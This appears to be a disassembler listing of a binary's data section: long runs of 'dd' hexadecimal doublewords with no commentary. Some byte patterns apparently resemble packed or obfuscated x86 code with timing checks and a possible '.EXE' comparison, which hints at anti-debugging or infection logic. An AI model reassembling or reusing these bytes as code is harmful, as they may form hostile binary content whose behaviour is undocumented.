70B1B2ECh dd 0CDADD806h, 81505B1Ch, 3AB7CFF6h, 0C3815E09h, 6789h dd 0E8CA8A60h, 12h, 3C09890Ah, 643E3A4Ah, 2482AC96h, 3FFF8542h dd 615BD803h, 3C74FBB9h, 3DE98157h, 0BF573C5Bh, 53AE9422h dd 0AE933FFh, 48000000h, 0A0AA89CDh, 9F7AF4CAh, 2ABE5A71h dd 8146670Bh, 76BEDFF2h, 0F8526005h, 0A5C1815Fh, 615A3863h dd 0F284C281h, 0EA810A8Dh, 6AE13174h, 0EB831389h, 83BFB004h dd 850F01E9h, 0FFFFFFBCh, 0CC7BB866h, 530F8D8Dh, 0BD310623h dd 61E2E05h, 1C29958Bh, 8D89061Eh, 61E2375h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 7FC35141h, 0C34F55D4h dd 0AADE9676h, 4D85C73Fh, 0B8061E32h, 66000073h, 1B3EC281h dd 316985C7h, 61Eh, 81660000h, 0FF7D00C3h, 1E1F59B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 9EC3F75Eh, 8FC37696h, 95FF96E6h, 61E16B9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 9C35141h, 36856307h dd 0EF2097C8h, 95FF006Ah, 61E26C1h, 48EBC08Bh, 50CC87BEh dd 1CC41E5Fh, 0D4638863h, 0A3993E69h, 0C71D424Ch, 687961CAh dd 8C50A3BDh, 38D76180h, 71A32C26h, 3159E76Eh, 0C16C64FCh dd 56D3BA0h, 5BB5F5EFh, 6E7EBC3Ch, 8FC45F56h, 1B8ED8D1h dd 507625B6h, 95EB6459h, 60EBh, 17h dup(0) dd 59E90000h, 0E900000Bh, 0B4Dh, 235BC768h, 2BCDE906h dd 0F268FFFBh, 0E906235Ch, 0FFFB2BC3h, 235D5468h, 2BB9E906h dd 0F48DFFFBh, 33B9D449h, 5EE2FD72h, 60072297h, 8C314CC1h dd 413374E9h, 77ECB136h, 0A61BC65Ch, 0D146EB8Bh, 0FD7233B6h dd 994B61FDh, 0BD3F4825h, 0EF733008h, 0D652A43Bh, 0D74A41FEh dd 256609DBh, 0E1084D39h, 8A2E47FFh, 0A15B3CEBh, 381930Ah dd 8C3B9775h, 0C970F58Dh, 0EAD4628h, 0A4194067h, 5D3FE689h dd 9D7F22C4h, 49EB7E04h, 69F81A8h, 41DABC61h, 5F17F9BCh dd 951DC5C8h, 1B0A92Ch, 0D8BA7B02h, 12F4BD3Fh, 8B30C35Ah dd 2D77AF1Ah, 38F97F7Eh, 8608831Ah, 0CDC18F52h, 56E33C1Eh dd 0AEC7FF1Dh, 0EB84660Fh, 0D382A948h, 48A16BD7h, 4462A73Fh dd 6FE48D2Bh, 0B5D3AA94h, 1FB499Fh, 0EED01533h, 9E13D255h dd 31F073CAh, 0B33E9079h, 0FD34EC85h, 0C8C8B629h, 538184C5h dd 65000000h, 0CF92142Dh, 0B4302CEDh, 173624D2h, 405DD190h dd 5617F9B8h, 0B3C8802Fh, 5434EC85h, 24D2A63Eh, 5E74B039h dd 3924D286h, 8E02A345h, 6D042249h, 3BCA6DBCh, 0AC271DDh dd 0F5738254h, 0BD54742Ch, 47EA84FEh, 0FECA219Eh, 0CE47726h dd 4284h, 85B35200h, 3E5434ECh, 3924D2A6h, 3B547299h, 0D69F1EBBh dd 6B0EB0AFh, 6119C889h, 1B93B54h, 24D2F9EBh, 0F1185D39h dd 0F7D14E0Fh, 52A61F3Fh, 154D6B1Ah, 847B447Eh, 39E89446h dd 2CF57381h, 0B307DF74h, 0B9CFED86h, 3F42DBA4h, 0E77D5FA4h dd 3306CAF9h, 61D016B3h, 87E3DC63h, 1981Ch, 8BB36600h dd 7C580C9Ch, 8AF04C1h, 0FD1B4269h, 258705E7h, 3A1C6139h dd 0E2571EA1h, 31F0730Eh, 0F3447C13h, 0CB332584h, 3E90641Ch dd 0F5BC3B54h, 0C0B18746h, 0B629FD08h, 84C5C8C8h, 6781h dd 0AC4C6500h, 77588805h, 0BFAF01B0h, 85B35810h, 32B5CEECh dd 53D09173h, 3552B528h, 540CBB30h, 2027BD54h, 74072607h dd 0FF7C4FBAh, 5F0E3952h, 0FAB92B41h, 589D3924h, 0FE9F213Ah dd 0DF8EB578h, 0E41C5427h, 24D316CEh, 6D30B539h, 1156CA8Bh dd 3B54AA62h, 5213F5BCh, 5D0CD553h, 5F17DE5Eh, 208407DFh dd 52000000h, 34EC85B3h, 0D2A63E54h, 72993924h, 738254BAh dd 0D60E2CF5h, 24D324C0h, 3EED3239h, 0B307DF86h, 0D3921A8Bh dd 4BF78EACh, 13597F9Ah, 124A6817h, 0D05669F9h, 5B44C0B5h dd 0B071537Ah, 72EB0501h, 3E833925h, 8120C35Ch, 0F073380Ch dd 3E907931h, 0DFF585B3h, 3924D305h, 0C7E50C51h, 836508AEh dd 0FD5B13C2h, 0BA3B5429h, 0A55415F7h, 0C5C8FBE9h, 41B484h dd 0B3FE0000h, 5434EC85h, 24D2A63Eh, 0B36BB039h, 0DE061C54h dd 783924D2h, 8119B633h, 0C9EB2309h, 0ABC4FC1Ah, 0B8670Ah dd 742CF573h, 448407DFh, 0EC000000h, 0AA8C55D3h, 2FB5CBE9h dd 273924D3h, 0B37B33E2h, 5434EC85h, 0C160031Ch, 736F1EDFh dd 3924D271h, 7089A7CEh, 88492BCEh, 825421D9h, 1FBA3B54h dd 0D2B4DB9Eh, 823DC8BBh, 9308F7Ah, 14DD5B5Ah, 8407DF5Ch dd 0CBh, 0F28BB352h, 0D32EBED4h, 758E3924h, 0C802FF6h dd 7FA653EFh, 3A64861h, 82BA7254h, 24D2786Ch, 8C0FD539h dd 664DAA6Fh, 0FFFEADF2h, 975EDD7Ch, 11A5270h, 16D7B97Ch dd 2571CA1Ah, 98478C39h, 0F0734F23h, 3E907931h, 34EC85B3h dd 0B99ABD54h, 24287A88h, 0B62C0075h, 84C5C8C8h, 2C81h dd 85B3CB00h, 3E5434ECh, 3924D2A6h, 54B36BB0h, 585E851Ch dd 580846ACh, 0F573F1A9h, 7DF742Ch, 4684h, 52D3EC00h, 3DECAD8Fh dd 0EC85B385h, 0A63E5434h, 63924D2h, 0EE648C6Fh, 0F2A1723Bh dd 0B995EA67h, 3AA8B6F5h, 59DCF513h, 5431E998h, 6962031Ch dd 0E31B97BBh, 0B0CEF5CCh, 256F4A9Ah, 18C70C39h, 2CF57360h dd 5407DF74h, 9D22A73Bh, 302B1D8h, 46DFC160h, 48DFFDA0h dd 4A603B09h, 39258E9Ah, 7AFA77BCh, 0C813046h, 76514EF1h dd 0A135A41Fh, 0DC72547Bh, 39251B06h, 927421C1h, 0CAAC69F9h dd 0C0650A09h, 94F70DEh, 0E60DD457h, 0DAABF112h, 40E589A2h dd 43A19D5Eh, 1339251Bh, 9D201FCEh, 0ED255FD4h, 0AC553C56h dd 0DFDB7BC5h, 3924D505h, 5E5D0C51h, 0D70D23DBh, 0D53924D4h dd 24D525BFh, 78EC3139h, 87B5B633h, 0F96D33E5h, 8EBCF0D2h dd 0B6354E86h, 0EBCD9417h, 0D154032Ah, 0D823BA8Bh, 1B4D82EEh dd 5DFF513h, 513924F0h, 0DB5E5D0Ch, 6FCAA51Ah, 0FBDD982Ah dd 0DFF5133Ah, 3F42F87Eh, 0DA385CAh, 3306E7D3h, 2CD049F0h dd 0E37C5E85h, 26BFA140h, 0F2F5DC81h, 1FBCD2ACh, 0BF6C6AD9h dd 202587E3h, 9000000h, 0C5A752F0h, 1F168704h, 0B348ED84h dd 0F0734C04h, 2BB94F31h, 0CB3924D3h, 0FB264AAh, 541DF166h dd 16CEE41Ch, 403924D3h, 0D2E5FFFBh, 0B1C73924h, 3924D333h dd 2E6ADE23h, 24D2CC18h, 1E458A39h, 24CD706Fh, 2A7A6F06h dd 0C5312BA0h, 5EDB3416h, 15F7BE3Dh, 0F90F2D54h, 3F49209Dh dd 9E223B73h, 7909DBD7h, 3FC23302h, 5FD39476h, 0B6004AC4h dd 7BA269DCh, 2EBD58CCh, 34D65CF0h, 86895B71h, 88CD3302h dd 0EAC53A61h, 0EE04224Fh, 39208F6Fh, 0D18C162Fh, 0B7F2EEFh dd 132CE4C6h, 211DCC95h, 2CE47EBFh, 9B0A50EDh, 8E06289Dh dd 0CFBB49E0h, 0D706119Bh, 338028h, 54CA0000h, 0D2DE061Ch dd 4FED3924h, 8F03C4A6h, 62DC9B4Ah, 8DC5FD1Bh, 24D26D77h dd 0A5A4E939h, 0B8B46302h, 3924D33Ch, 0BED7F53Ah, 0FC067B3Ah dd 1Eh, 0F28BB3CAh, 6E059CD4h, 0B2BCDC79h, 19D7D382h, 55392593h dd 57D9F210h, 486F36B6h, 3B54FFD3h, 5B49F8B9h, 160h, 0F089B329h dd 733E9038h, 0FD7931F0h, 0C8C8B629h, 2B8184C5h, 0CB000000h dd 38F089B3h, 0D2A63E54h, 6BB03924h, 548254B3h, 0D2DE061Ch dd 33783924h, 42E38584h, 88A1DF8Ah, 0D58D3CE5h, 2C84h dd 89B35200h, 8668DE9Ah, 779EC4F8h, 0A63E54BFh, 993924D2h dd 3B54BA72h, 5213F5BCh, 344D85A3h, 4AEDECB5h, 7344FCABh dd 0DF7830F1h, 31F07307h, 0E1BD5479h, 324CA189h, 786C82A0h dd 0DE392505h, 0B608EA99h, 34EC85B3h, 5AAC3FDh, 0BEBD7E60h dd 0DC57439h, 0C5C8C8B6h, 348184h, 2D650000h, 24D2CD17h dd 95448936h, 9685B3DDh, 229886E8h, 0BD759CB6h, 0D2A63E54h dd 6BB03924h, 738254B3h, 0DF742CF5h, 0BA3B5407h, 0A55415F7h dd 3EB7h, 85B38500h, 3B5434ECh, 7D16F8B9h, 955638E5h, 8B54F16Eh dd 625A1CB2h, 657F95B3h, 47392555h, 55EBF90Fh, 42E03925h dd 62062397h, 62ED9CC3h, 4022DF63h, 54A0587Fh, 2CF57382h dd 5407DF74h, 32A4A73Bh, 84BC1E0Eh, 38F9DB02h, 0EBE48A89h dd 0F0CD2FEh, 138B7B9Dh, 696C900Dh, 0C3593B62h, 3924DB1Eh dd 7C5E1BA7h, 0BD9F42E3h, 0DAF5EF05h, 1C613924h, 3DEF3532h dd 0BCFF6BFh, 6C12C40Ah, 11A54C9h, 38ACC27Ch, 1E3924DBh dd 4B03B2D9h, 4C2EF373h, 8C6E33B3h, 0D1546D0Bh, 98DE6110h dd 6B798FC7h, 0EB3924D2h, 0A98B2ACEh, 1312C1E8h, 4159CE93h dd 3924DC31h, 0DAD5D28Eh, 6E8E81C5h, 72FFFFFEh, 3113D259h dd 0C0816379h, 90D53924h, 7602BA69h, 3924D26Ah, 24D3045Ch dd 0D221C239h, 35AB3924h, 6F3924D2h, 6413D256h, 24D17868h dd 0D1924E39h, 0C871F924h, 1D558DABh, 24D1DD07h, 38347979h dd 7924D1ACh, 98B665AAh, 45C09082h, 0FBDD227Fh, 0BCDA97A2h dd 21E77FA6h, 52145979h dd 2C288641h, 0A3830B0Dh, 0AC000002h, 0DAF56A17h, 31E9352h dd 304BC061h, 5873E889h, 5C9D12D7h, 1BDE5F6Ah, 4AF78BA6h dd 7134BAD5h, 975EE1FCh, 70862222h, 3F482D74h, 73552DE2h dd 974F31F0h, 0FB1C8F00h, 6CF94799h, 0E9D5CA58h, 7635E40Bh dd 7A90AEC3h, 3F489118h, 38E57D9Ah, 5C849C11h, 0A73301E9h dd 9CB2EA92h, 3301EA48h, 17CDC90Eh, 3F3301EAh, 9FB5D3FAh dd 39253D9Fh, 0D008266Bh, 980B0198h, 5BEE054Bh, 0DE01855Fh dd 0DD8CD12Ch, 259A5BDEh, 0A0BE670Ah, 6143E687h, 790FF1A0h dd 2CDE016Fh, 0BEDC95A4h, 155F2A8h, 2935D033h, 691259E2h dd 0F009274Eh, 142FA44Dh, 95EED091h, 9BB1CFA4h, 2CDD3AFBh dd 435C7ABFh, 591AFCA5h, 0CA6FC8AAh, 0CD758BA9h, 4526B9E6h dd 91AAE200h, 0C96244F1h, 0AD5C8322h, 4C6A0BAEh, 40EFB233h dd 640DB0CBh, 59F4EC82h, 2A0F1A73h, 4729CC71h, 9415F86h dd 7325F1F3h, 7120651Ah, 79553D53h, 185D2096h, 0C3657E36h dd 85B47322h, 0EACC9514h, 0CEE40229h, 1A6DFD1Bh, 6F3E0045h dd 63CD7450h, 178D961h, 0E0810000h, 7A5C035h, 2ACEE95Eh dd 7CFB168Bh, 802540B5h, 352768DDh, 6BE0852Ah, 9207B250h dd 0BD32F777h, 0E1561FA2h, 0B52F45E1h, 0A13F482Eh, 86B314ECh dd 8197CFEDh, 3924D263h, 0E1FFAEF3h, 4826C7CBh, 8728413Fh dd 7ABF33E2h, 79FA3F98h, 8978455Bh, 4B90391Fh, 261F1689h dd 961E20ECh, 116h, 62D7821Fh, 8B00A147h, 0B025CC70h, 0DA4F1695h dd 67B3EBFh, 27C8D3C5h, 50F20D82h, 911530A5h, 0B93C57CCh dd 0E78383F8h, 483013D1h, 0B68E433Fh, 0F6BB3B54h, 0D0B277F7h dd 98A1600Fh, 0D316CEE4h, 0FB403924h, 0FAA0B6D4h, 0C83F4826h dd 6508A183h, 892C47BCh, 8CAD06E8h, 8BB3C9E7h, 0D53924D3h dd 0C7763BBCh, 5F990E53h, 4FFEA746h, 9409A850h, 0B92EF779h dd 0E1561F9Eh, 0D1566FA7h, 2CD4100Ch, 0E7822CDEh, 8022E6A8h dd 0BA375EC0h, 0BDB95791h, 5554034Ah, 7D980DD0h, 0A5C035F8h dd 0D0EB601Dh, 667E942Eh, 0F02CDDE5h, 0F40F84ABh, 203BB071h dd 0B57CFF82h, 0CDEB12D3h, 8F7130B4h, 0CFAA1FCEh, 0D5EB096Ah dd 33013969h, 0E17A5CA1h, 0A88E415Eh, 0A448D27Ch, 0A2465F7Dh dd 0E3A263ADh, 3259C2D7h, 6BE08F50h, 2D61h, 4832C900h dd 6914AEECh, 0C749C687h, 7538BD5Ah, 54E79F4Eh, 9D21B83Bh dd 0E35F6D8h, 0C9BC6B2Ch, 0A83A538Bh, 0D2F3F1EDh, 1E633924h dd 0EE73B76Fh, 35B85133h, 4DF18A6Ch, 952DC6A8h, 0C86D06E8h dd 5AA4325h, 46E57E60h, 8024BD9Fh, 0C666FFE1h, 50003D1Fh dd 405E089h, 2D000000h, 4, 5C240487h, 68243C89h, 286Ch dd 53240C89h, 0C381E389h, 4, 4EB81h, 1C870000h, 2C895C24h dd 7F685024h, 5870284Eh, 0B1D99B9h, 58C13176h, 4EC81h dd 24890000h, 24048124h, 4, 4EC815Dh, 89000000h, 458F240Ch dd 242C8B08h, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 592434FFh dd 0E904C483h, 0FFFB2093h, 0AB84962h, 0ACAB6B6h, 5E8FB820h dd 0C5030623h, 10E8C38Bh, 0C000000h, 9BE4E7D3h, 1876FDCAh dd 0E8E54E73h, 60A14268h, 0BEE8166h, 61FB8BA2h, 0BF0F525Eh dd 0C6815BC3h, 675Dh, 68DF8B66h, 19ACh, 1830Fh, 5AFC0000h dd 36FFBFB3h, 14E959h, 8D4F0000h, 9E32C99Dh, 0C8DAB277h dd 948E3B6Bh, 0E8942D33h, 0C181D201h, 78104353h, 0AE8h dd 9752EC00h, 9075034Ah, 66F53216h, 5F521ABBh, 83D1E981h dd 8E907FFh, 17000000h, 0AE18CBE4h, 81CEC327h, 9FD8D4C1h dd 810E8976h, 419459D0h, 0F6EE814Ch, 81506D2Ch, 551AEBDFh dd 0F2C68142h, 66506D2Ch, 557CF081h, 0F01EA83h, 0FFFF8985h dd 0F98B66FFh, 60A78D8Dh, 6A0623h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 9D7628C3h, 11E953A4h dd 24000000h, 0B6D8E904h, 53533774h, 0A5B87AAFh, 8458208Ah dd 8D89F858h, 61E2375h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 27C35343h, 66F6C07Ah, 9A2DE681h, 324D85C7h dd 59B4061Eh, 958B0000h, 61E1581h, 316985C7h, 61Eh, 958B0000h dd 61E1381h, 22798D89h, 0B5FF061Eh, 61E0DCDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 68C35646h, 92ADE732h dd 0F20BD415h, 2179BD8Bh, 58BB061Eh, 0FF0E9512h, 1E16B995h dd 0F3BF0F06h, 95FF006Ah, 61E26C1h, 4EEBC08Bh, 0BF1DEA5Fh dd 3941B6AFh, 0E4FEB4F7h, 73E80600h, 4C62301Eh, 871A7913h dd 9D7A02A8h, 0EBE03900h, 4FD8C861h, 8C13F18Ch, 2E2BD4F5h dd 368D5EA1h, 79F1D2C0h, 0D58DF758h, 76A9D51Fh, 2C17FB6Ch dd 37D00BC2h, 0E769FF5Fh, 52360F2Ah, 69E9FC69h, 0F000001h dd 0C8Dh, 68F0F00h, 0F000000h, 84h, 8BB58D00h, 60062361h dd 9E9h, 633BAE00h, 0EC5E1E99h, 0DB8191EDh, 470E93FBh dd 6B858D61h, 0E9062141h, 0Ch, 0D5618EBEh, 7693E59Bh, 57F4226h dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 8451C5C3h, 0BE960F6h, 3000000h, 93E2B8F1h db 0C5h, 0CFh word_584F4E dw 4461h ; DATA XREF: ___:0042BEA8o dd 0E2BA8D6Fh, 6105038Ch, 8890FC3h, 0F000000h, 286h, 66616000h dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 7CD906C3h, 297ED11Dh, 0FFCAC18h, 1486h, 0FE900h dd 88B10000h, 0BC056811h, 0E1221411h, 8BA33EB3h, 0B8666080h dd 0F661FFA0h, 840F04C1h, 39h, 8BFB8BF8h, 0AEC032CBh, 0CF2BFD75h dd 0F92BD9F7h, 8B49D78Bh, 0CD00EBD9h, 1013F20h, 74C00B00h dd 0C708D18h, 0CB8BFA8Bh, 490A75A6h, 1B8FA75h, 0EB000000h dd 0EB008B09h, 0B8E4h, 6ACF0000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 40CFC356h dd 0AFE8C2E3h, 0F919EFF9h, 0DE9h, 0CBF8FF00h, 0C36CFE6Ch dd 5CE2237Dh, 11E90909h, 0BA000000h, 0A00166DEh, 5A98757Bh dd 7CC71FF7h, 0B52740F3h, 61F585C7h, 13F0623h, 3CE90001h dd 1, 4Eh dup(0) dd 83000000h, 1E2961BDh, 840F0106h, 4E0h, 4185C6F9h, 43061E20h dd 0BE9h, 6171CC00h, 0C13A4FD6h, 0BF7BF266h, 841F7268h dd 0FE9AEh, 95410000h, 0BCB14652h, 0BD5911Dh, 502B961Dh dd 24048124h, 3E21B183h, 88F0Fh, 8C0F0000h, 2, 0B5FF6160h dd 61E3291h, 0CE9h, 0DEBD2500h, 0F155FE07h, 9B6A7Ah, 0D1858D57h dd 0F062178h, 1489h, 0FE900h, 1F10000h, 5FE3739h, 7E75A972h dd 987818E5h, 0E9D0FFC7h, 5, 71A4461Fh, 1858929h, 60061E04h dd 66DA8B66h, 61B0B6BAh, 4185C6F8h, 50061E20h, 4E86160h dd 56000000h, 50A8ADADh, 0F525052h, 84h, 50310F00h, 5A310F52h dd 0F585A58h, 6EB86031h, 502129E5h, 5A310F52h, 585A6158h dd 8B666050h, 6810FC2h, 0F000000h, 8Ah, 448B6100h, 14E90424h dd 0B3000000h, 4E134B0Ch, 742BEA45h, 0B9A8C4EAh, 12FF82A9h dd 8BFAE550h, 0F525000h, 68Fh, 890F00h, 0F000000h, 0E9525031h dd 7, 89118BD2h, 0F98F8E6h, 5A616031h, 89585A58h, 0F042444h dd 0C82h, 6850F00h, 50000000h, 5A310F52h, 0F605858h, 38Dh dd 0F78B6600h, 0BE9h, 19F62E00h, 10D608B9h, 8F3A459Eh dd 91B5FF61h, 0FC061E32h, 78D1858Dh, 0E9F90621h, 12h, 35B4A45Bh dd 9B1780B2h, 0D5F50F3Fh, 0FEFF3E57h, 0D0FFEB1Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 47C35545h, 89C11ED2h dd 1E0E3D85h, 27B96006h, 0B0262FDCh, 4E86120h, 2F000000h dd 50F08FA8h, 0B8666052h, 5B53E102h, 0F310F61h, 683h, 0F525000h dd 5A585A31h, 52505058h, 5E860h, 0A3520000h, 596E473Fh dd 60310F61h, 8B585A61h, 0E9042444h, 14h, 0E9B009D5h, 0B0C5AA3Ch dd 56CF24D5h, 797EA1CEh, 0A570669Fh, 12E9008Bh, 0A9000000h dd 94113C9Eh, 9F6EF9FCh, 0AA5693C5h, 7A9895E7h, 2444897Bh dd 5E86004h, 20000000h, 0BA69B8FEh, 66595A50h, 61F031BEh dd 80FC6058h, 0FF619BC6h, 1E3291B5h, 0DE9FC06h, 0D7000000h dd 47783D39h, 0E19FEA71h, 0F8092D86h, 78D1858Dh, 810F0621h dd 1, 0D0FFFCFCh, 0A98589FCh, 6A061E1Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0CF84C357h dd 0D9C421B6h, 0C6CEE992h, 1E204185h, 0CE95006h, 47000000h dd 0B708D0F6h, 0C9F86DD4h, 687F9187h, 401D3C0Dh, 830F5250h dd 6, 8E0Fh, 310F0000h, 60F08A60h, 585A6161h, 49240481h dd 0F5577FA0h, 2F1B5FFh, 8E9061Eh, 7D000000h, 601CD3F3h dd 8D87CAE5h, 1E38FA85h, 16800F06h, 0E9000000h, 11h, 20466332h dd 30E42EC4h, 33531708h, 0D74365A2h, 0FD0FF9Ah, 181h, 8589F900h dd 61E0461h, 1CAE9F9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0B5EB44C3h, 0F34E871h dd 1D8Dh, 178E0F00h, 0E9000000h, 12h, 83BB8F4Eh, 38AAF125h dd 779FD083h, 0CA09CF7Dh, 5050ED93h, 13800F52h, 0E9000000h dd 0Eh, 0A4D91E5Ah, 0FE8E0542h, 1311551Eh, 310F69ACh, 6E960h dd 24FC0000h, 0BB40B714h, 8A0Fh, 5A610000h, 242C8958h dd 8860Fh, 66600000h, 0B072D6BBh, 0EC8B61E8h, 0AE9h, 6971E400h dd 0D1E95F11h, 83BB5192h, 8E0FFCC4h, 9, 66D08B60h, 0A644C381h dd 8D0F6061h, 14h, 0FE9h, 601E6300h, 0A6878897h, 90F7E537h dd 0E7B292F8h, 0EE9h, 0B6350000h, 94B748CFh, 17184A0Ah dd 0E897BC23h, 0 dd 0B4EA815Ah, 0C7062367h, 0FC45h, 0BA830000h, 61E2961h dd 98840F01h, 52000000h, 0F6A006Ah, 40192FFh, 895A061Eh dd 23627782h, 7B9A8D06h, 52062362h, 12803C7h, 50530000h dd 0E3D92FFh, 525A061Eh, 627B9A8Dh, 0FF530623h, 236277B2h dd 6192FF06h, 5A061E04h, 5074C00Bh, 627B9A8Dh, 7B8D0623h dd 81C93324h, 104F9h, 41D47400h, 2E393C81h, 75455845h dd 39348DEEh, 8D0C752Bh, 1E0A21BAh, 0C4D8B06h, 0C032A4F3h dd 75FF52AAh, 21828D08h, 50061E0Ah, 1EA992FFh, 0B5A061Eh dd 0C7A075C0h, 1FC45h, 7EB0000h, 0FC45C7h, 61000000h, 0C9FC458Bh dd 0E90008C2h, 12h, 0EBE03900h, 4FD8C861h, 8C13F18Ch, 2E2BD4F5h dd 0E9F95EA1h, 14h, 0C1E1A0E7h, 91D740C3h, 0A3C1C1EFh dd 11C8274h, 994230BEh, 12E8D28Bh, 0F000000h, 0E08A65F3h dd 53A1B12h, 0AA157076h, 454EA24h, 38A0F19h, 66000000h dd 0F59D98Bh, 0C181D1B7h, 5AE9h, 11E9h, 0AA05E600h, 0DFBB4B74h dd 4EFC1321h, 0E5BC59B8h, 89BE6AAEh, 81000016h, 2B4939E3h dd 0B631FF4Dh, 0DBBF587Ah, 8145808Bh, 680205C0h, 13E839h dd 0A2630000h, 22108AF5h, 50BF78C5h, 97AB2DE8h, 623E902Dh dd 815FFC9Ah, 0B47E56F0h, 81D18A38h, 0CF3F44E8h, 6E878h dd 0CF4F0000h, 63EC144Bh, 803915BFh, 60505B6Bh, 25E78166h dd 61DF8B9Bh, 6E8018Fh, 0AA000000h, 0EE1F0848h, 0D8B70FDBh dd 4E9835Fh, 0C8E0Fh, 7E90000h, 90000000h, 4B14C88Dh, 0F4EC39Bh dd 0FFFF8085h, 0DE8B66FFh, 69F08D8Dh, 0FB8B0623h, 23758D89h dd 8B60061Eh, 1E19D595h, 0C5E08106h, 6133BF29h, 324D85C7h dd 6958061Eh, 95090000h, 61E0035h, 316985C7h, 61Eh, 0FFFC0000h dd 1E2931B5h, 0C9958906h, 0FF061E2Bh, 1E16B995h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 7782F18Dh, 0BF0F6B86h, 68C0FC7h, 89000000h, 1E2045B5h dd 0FF006A06h, 1E26C195h, 0EBC08B06h, 0B3B4FA0Eh, 0F439AC03h dd 0ED3B2063h, 0E9745EF6h, 266h, 0D98C6660h, 0F04C1F6h dd 3584h, 0FF016A00h, 1E02F1B5h, 0D1858D06h, 0FF062178h dd 418589D0h, 8B061E00h, 0CEFC1FEh, 6000068h, 6A006A20h dd 0D685702h, 0FF000100h, 1E004195h, 32E906h, 85C60000h dd 61E2041h, 30DF6856h, 0B5FFA9C5h, 61E3291h, 78D1858Dh dd 0D0FF0621h, 2018589h, 858D061Eh, 61E2B79h, 6A406A50h dd 95FF5605h, 61E0201h, 0C361h, 2 dup(0) dd 8B520000h, 428B60D4h, 86858908h, 8B06236Ah, 85890C42h dd 6236A7Eh, 8910428Bh, 236A8285h, 0BCB58D06h, 8D06236Ah dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 6A86B58Bh, 858B0623h dd 6236A7Eh, 6A82BD83h, 0F000623h, 784h, 0E9068900h, 2 dd 0CF0688h, 0 dd 52000000h, 8B60D48Bh, 85890842h, 6236A86h, 6B0DB58Dh dd 858D0623h, 5B7E35h, 5A61D0FFh, 6A86858Bh, 4C20623h dd 86858B00h, 8B06236Ah, 86858900h, 0CF06236Ah, 0 dd 0E3B58960h, 8906236Ah, 236ADF85h, 0ED858D06h, 8B061E20h dd 85894440h, 6236B1Ch, 6B52B58Dh, 858D0623h, 5B7E35h dd 8B61D0FFh, 236AE385h, 9D8BC306h, 6236ADFh, 3C43B70Fh dd 5B8BD803h, 0DF9D0378h, 8B06236Ah, 0B5032473h, 6236ADFh dd 207B8B56h, 31C738Bh, 236ADFBDh, 0DFB50306h, 0FC06236Ah dd 41FFC983h, 6AE39D8Bh, 178B0623h, 6ADF9503h, 0C7830623h dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h, 43FFFFFFh dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h dd 86048B0Fh, 6ADF8503h, 85890623h, 6236AE3h, 0CE8BF08Bh dd 0BD81C18Bh, 6236B1Ch, 0C0300000h, 0D850Fh, 0E8C10000h dd 0FFC2514h, 8E90000h, 0C1000000h, 0F82512E8h, 8B00003Fh dd 236B1CBDh, 70C8306h, 7148B06h, 8124C28Bh, 0C18B813Ch dd 57840Fh, 0BD810000h, 6236B1Ch, 0C0300000h, 0D850Fh dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h dd 81000000h, 236B1CBDh, 30000006h, 0E840FC0h, 25000000h dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 6236A8Ah, 9A98589h dd 858D061Eh, 6236B20h, 33318589h, 858D061Eh, 6236AE7h dd 81D8589h, 0CE8061Eh, 0FC000000h, 5F3AF5D2h, 0DB89DCD8h dd 0F936441h, 8B58FBBFh, 0F3C081F9h, 0E8000062h, 13h, 0A3E81696h dd 6E1EA98Dh, 6A6A6336h, 7CE3BAABh, 0FF6BECFh, 68Dh, 840F00h dd 5A000000h, 68h, 9CB06000h, 0C3FDE81h, 5E611A25h, 11E9h dd 0AEAB1E00h, 4B076150h, 0FCE0D4CCh, 0DCCA9805h, 0C8B2703h dd 2DB9BA30h, 0E9810B1Bh, 2415D019h, 0E981D48Ah, 662D47A3h dd 0C181D98Bh, 1A688ECCh, 8A5EBA66h, 0E8300C89h, 9, 0F47D629h dd 0FF502C0Dh, 0FCB353D0h, 0EE815F5Ah, 206222D9h, 12E8h dd 0FB416800h, 0E57C01EAh, 0DB29D36Eh, 9D4901A1h, 8BA900ADh dd 0C6815FDEh, 206222D5h, 0F9BB6660h, 0BE83Bh, 0FB360000h dd 28350AE1h, 7A13F7AEh, 81615924h, 0FF9DF4FEh, 7F850FFFh dd 0FFFFFFFh, 188h, 4EBFC00h, 65946162h, 544E9h, 0A05DE600h dd 0C968102Bh, 0EEB73954h, 16DF5E79h, 3CE186A1h, 899486C7h dd 0B1CC41E4h, 0D4EF6411h, 0FF1A8F52h, 4040B57Ch, 3F568EA4h dd 4B003F48h, 25BFD50Dh, 283F483Fh, 0AF939FF7h, 78BD316Fh dd 0EA0445Ah, 71B63F48h, 0F0730AC2h, 5F974F31h, 24D29B49h dd 0C776BB39h, 0D8227C8h, 0C4A64FF2h, 7E9882Bh, 0F1AC364Fh dd 0FCA54342h, 0E5FE961Ah, 1FA09F46h, 0E228AB5Ah, 46837A11h dd 0B7145F3h, 1BDA5D5Ch, 46EB8BA6h, 6D30B6D1h, 0A550F28Bh dd 0AB394F87h, 0AB3924D4h, 234AEB8Eh, 3249274h, 0C66B0BBDh dd 0F2B33651h, 